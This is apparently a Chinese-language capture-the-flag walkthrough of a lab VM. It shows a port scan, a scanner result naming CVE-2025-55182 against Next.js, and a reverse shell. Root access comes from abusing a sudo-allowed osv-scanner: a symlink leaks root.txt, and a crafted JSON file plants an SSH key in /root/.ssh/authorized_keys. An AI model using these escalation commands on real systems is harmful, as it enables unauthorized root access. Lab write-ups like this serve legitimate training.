

信息收集

```
nmap -p- 192.168.100.41
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-12 04:27 EDT
Nmap scan report for 192.168.100.41
Host is up (0.0018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
3000/tcp  open  ppp
MAC Address: 08:00:27:56:9D:EF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds
```

0%

项目Default

但厚殊途同归，我能与你讲来时的路

设置

退出

刷新

重置

帮助

全屏

窗口

关闭

Welcome项目管理信息收集资产探测漏洞检测轻武器库AK管理空间测绘编码转换红队wiki辅助工具快捷启动About

PoC检测密码破解未授权检测AwsNessus水洞专用DumpAllPoC生成Repeater

Filter Poc搜索

Vip状态: 2027.06.22

POC选择 (已选8712个)

> 1-网站CMS (642个)

> 2-办公OA (1952个)

> 3-框架组件 (1425个)

> 4-应用服务 (2868个)

> 5-网络设备 (842个)

> 6-安全设备 (336个)

> 7-安防监控 (395个)

> 8-其他PoC (230个)

> Update (22个)

http://192.168.100.41:3000/共1行

<-URL导入线程10间隔(ms)0OOB配置保存配置重置选项

外置PoCAfrogXray自定义PocPoC配置PoC匹配指纹POC≥low

CheckStop导出开启代理进度100%

ID	Url Q	Code	Title Q	PocVul Q	Banner Q	From
1	http://192.168.100.41:3000/	404	None	highReact Server Components 拒绝服务漏洞	Next.jsNode.js	内置

目标存活: 1 检测成功: 1 检测队列: 1/1 用时: 2s 当前检测: 已完成

Checking: http://192.168.100.41:3000, 47个内置Poc将被检测。

PDN - 专业开发者社...ctf图片linuxPython3 教程 | 菜鸟...CyberChef_v10.19.4...wirehark数据分析与...she

百度

React Server Components 拒绝服务漏洞 Next.js Node.js

百度一下

内容可由AI生成

展开

内容可由AI生成

分享

收藏

打印

语音

关于React Server Components远程代码执行漏洞(CVE-2025-55182)的...

2025年12月5日 近日,监测到发现React Server Components远程代码执行漏洞(CVE-2025-55182)和Next.js远程代码执行漏洞(CVE-2025-66478),此漏洞主要影响react-server-dom-webpack的Server Actions功能...

南京科技职业学院信息...

Node.js爆出严重漏洞:async_hooks触发栈溢出导致服务器崩溃--网络...

2026年6月17日 该漏洞源于启用async_hooks时发生栈溢出,系统直接退出而非抛出可捕获异常,导致拒绝服务攻击风险。漏洞影响React Server Components、Next.js、Datadog等多个框架和APM工具。已在20.2...至顶网

GitHub - hoosin/CVE-2025-55182 · GitHub

CVE-2025-55182 是 Next.js 框架中的一个严重远程代码执行 (RCE) 漏洞。该漏洞源于 Next.js 在处理 React Server Components (RSC) 请求时存在不安全的反序列化问题。攻击者可以通过构造恶意的 HTTP 请...

```
(kali@kali)~[~/Desktop]
$ cd poc

(kali@kali)~[~/Desktop/poc]
$ ls
10000.txt          cq                CVE-2021-3156-main CVE-2021-4034-main CVE-2024-2961
5000.txt           CVE-2021-3156-main CVE-2021-4034-main CVE-2024-2961
ACF_Framework_Internal_Guide.pdf CVE-2021-4034-main CVE-2024-2961
c-jwt-cracker-master cve-2024-2961     CVE-2024-2961

(kali@kali)~[~/Desktop/poc]
$ python3 penelope.py 6666
[+] Listening for reverse shells on 0.0.0.0:6666 → 127.0.0.1
> Main Menu (m)  Payloads (p)  Clear (Ctrl-L)  Quit (q)
[+] Got reverse shell from relax-192.168.100.41-Linux-x86_64
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🎉
[+] Interacting with session [1], Shell Type: PTY, Menu key: q
[+] Logging to /home/kali/.penelope/relax-192.168.100.41_Linux-x86_64

react2shell@relax:/opt/CVE-2025-55182$
```



```
react2shell@relax:/opt/CVE-2025-55182$ cat /home/react2shell/user.txt
flag{266a1f7c2e2345169d3bc448da45eae6}
```

root.txt

```
sudo -l
Matching Defaults entries for react2shell on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in, use_pty

User react2shell may run the following commands on localhost:
    (root) NOPASSWD: /root/osv-scanner
```

可以无密码以 root 身份运行 `/root/osv-scanner`。

`osv-scanner` 可以扫描 lockfile,

`osv-scanner` 是按文件名判断用哪个解析器的 要把符号链接命名成它认识的名字, 最稳的是 `yarn.lock`

```
react2shell@relax:/tmp$ mkdir /tmp/Ahiz1
react2shell@relax:/tmp$ cd /tmp/Ahiz1/
react2shell@relax:/tmp/Ahiz1$ ln -s /root/root.txt yarn.lock
react2shell@relax:/tmp/Ahiz1$ sudo -n /root/osv-scanner scan source --
lockfile /tmp/Ahiz1/yarn.lock --format json 2>&1
Starting filesystem walk for root: /
Failed to determine version of flag{7f791f89aca4f442da5d968f1d01eedb} while
parsing a yarn.lock
Scanned /tmp/Ahiz1/yarn.lock file and found 1 package
End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 1.624142ms
elapsed, 1.62422ms wall time
Filtered 1 local/unscannable package/s from the scan.
{
  "results": [],
  "experimental_config": {
    "licenses": {
      "summary": false,
      "allowlist": null
    }
  }
}
```

通过错误报告 得到root.txt

提权到root

通过查看111的wp

```
sudo cat /home/kali/.ssh/id_ed25519.pub
ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIBK47EAyAcDqxMYzZBPCGRGYrfsvIRWPfDb8cAhu6tJo
```

kali@kali

```
react2shell@relax:/tmp/Ahiz1$ mkdir -p /tmp/Ahiz1
```

```
cat > /tmp/Ahiz1/osv-scanner.json <<'EOF'
```

```
{
  "results": [
    {
      "packages": [
        {
          "package": {
            "name": "\nssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIBK47EAYAcDqxMYzZBPCGRGYrfsvIRWPfDb8cAhu6tJo
kali@kali\n",
            "version": "1.0.0",
            "ecosystem": "npm"
          }
        }
      ]
    }
  ]
}
EOF
```

这是 osv-scanner 支持的自定义 lockfile 格式。官方逻辑是：如果你有自己的依赖解析结果，可以把依赖包信息写成 osv-scanner.json，然后用：

```
--lockfile osv-scanner:/path/to/osv-scanner.json
```

让 osv-scanner 按它自己的结果格式读取。

关键字段是：

"results"

扫描结果列表。

"packages"

包列表。

```
"package"
```

单个包的信息。

```
"name"
```

包名。这里被塞入了 SSH 公钥。

```
"version": "1.0.0"
```

伪造的版本号，随便给一个合法版本即可。

```
"ecosystem": "npm"
```

```
react2shell@relax:/tmp/Ahiz1$ sudo -n /root/osv-scanner scan . \
--output-file /root/.ssh/authorized_keys \
--all-packages \
--lockfile osv-scanner:/tmp/Ahiz1/osv-scanner.json \
-f html \
--offline \
--no-resolve
```

Scanning dir .

Starting filesystem walk for root: /

Scanned /tmp/Ahiz1/osv-scanner.json file and found 1 package

End status: 1 dirs visited, 3 inodes visited, 1 Extract calls, 540.146µs elapsed, 540.207µs wall time

could not load db for npm ecosystem: unable to fetch OSV database: no offline version of the OSV database is available

HTML output available at: /root/.ssh/authorized_keys

```
sh -i /home/kali/.ssh/id_ed25519 root@192.168.100.41
```

The authenticity of host '192.168.100.41 (192.168.100.41)' can't be established.

ED25519 key fingerprint is:

SHA256:MjoUe50N03T2UcSPmLU3evmpGUywqf/3IUm0+1p77cI

This host key is known by the following other names/addresses:

~/.ssh/known_hosts:44: [hashed name]

~/.ssh/known_hosts:50: [hashed name]

~/.ssh/known_hosts:52: [hashed name]

```
~/.ssh/known_hosts:53: [hashed name]
~/.ssh/known_hosts:54: [hashed name]
~/.ssh/known_hosts:56: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.41' (ED25519) to the list of known
hosts.
Linux relax 7.0.11-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-
12.1~trixie (2026-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun 22 00:11:35 2026 from 192.168.56.4
root@relax:~# ls
osv-scanner  root.txt
root@relax:~# cat root.txt
flag{7f791f89aca4f442da5d968f1d01eedb}
root@relax:~# id
uid=0(root) gid=0(root) groups=0(root)
root@relax:~#
```

提权链

```
react2shell 用户可 sudo 运行 /root/osv-scanner
↓
osv-scanner 支持读取自定义 osv-scanner.json
↓
我们把 SSH 公钥塞进 package.name
↓
osv-scanner 以 root 写 HTML 报告到 /root/.ssh/authorized_keys
↓
authorized_keys 忽略 HTML 垃圾行, 但识别其中的合法 ssh-ed25519 公钥行
```



使用对应私钥 SSH 登录 root